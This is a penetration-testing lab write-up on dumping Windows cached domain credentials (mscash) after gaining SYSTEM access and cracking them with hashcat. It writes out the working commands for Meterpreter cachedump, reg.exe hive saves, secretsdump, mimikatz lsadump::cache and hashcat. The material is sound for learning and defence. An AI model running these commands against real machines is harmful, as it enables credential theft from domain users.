Dumping and Cracking mscash - Cached Domain Credentials
This lab focuses on dumping and cracking mscash hashes after SYSTEM level privileges has been obtained on a compromised machine.
Mscash is a Microsoft hashing algorithm that is used for storing cached domain credentials locally on a system after a successful logon. It's worth noting that cached credentials do not expire. Domain credentials are cached on a local system so that domain members can logon to the machine even if the DC is down. It's worth noting that mscash hash is not passable - i.e PTH attacks will not work.

Execution

Meterpreter

Note that in meterpreter session, hashdump only dumps the local SAM account hashes:
1
hashdump
Copied!
To dump cached domain credentials in mscash format, use a post exploitation module cachedump:
1
getuid
2
getsystem
3
use post/windows/gather/cachedump
4
run
Copied!

Secretsdump

Impacket's secrestdump tool allows us to dump all the credentials that are stored in registry hives SAM, SECURITY and SYSTEM, so firstly, we need to write those out:
1
reg.exe save hklm\sam c:\temp\sam.save
2
reg.exe save hklm\security c:\temp\security.save
3
reg.exe save hklm\system c:\temp\system.save
Copied!
Once the hives are retrieved, they can can be pulled back to kali linux to extract the hashes:
1
secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
Copied!

Mimikatz

1
lsadump::cache
Copied!

Cracking mscash / mscache with HashCat

To crack mscache with hashcat, it should be in the following format:
1
$DCC2$10240#username#hash
Copied!
Meterpreter's cachedump module's output cannot be used in hashcat directly, but it's easy to do it.
Below shows the original output format from cachedump and the format accepted by hashcat:
1
echo ; cat hashes.txt ; echo ; cut -d ":" -f 2 hashes.txt
Copied!
Let's try cracking it with hashchat now:
1
hashcat -m2100 '$DCC2$10240#spot#3407de6ff2f044ab21711a394d85f3b8' /usr/share/wordlists/rockyou.txt --force --potfile-disable
Copied!

Where Are Domain Credentials Cached

This can be seen via regedit (running with SYSTEM privileges) in the following key:
1
HKEY_LOCAL_MACHINE\SECURITY\Cache
Copied!
NL$1..10 are the cached hashes for 10 previously logged users:
By nulling out the Data fields one could remove the credentials from cache. Once cached credentials are removed, if no DC is present, a user trying to authenticate to the system will see:

References

MSCash Hash Primer for Pentesters
WebstersProdigy
https://www.securusglobal.com/community/2013/12/20/dumping-windows-credentials/
www.securusglobal.com
Last modified 2yr ago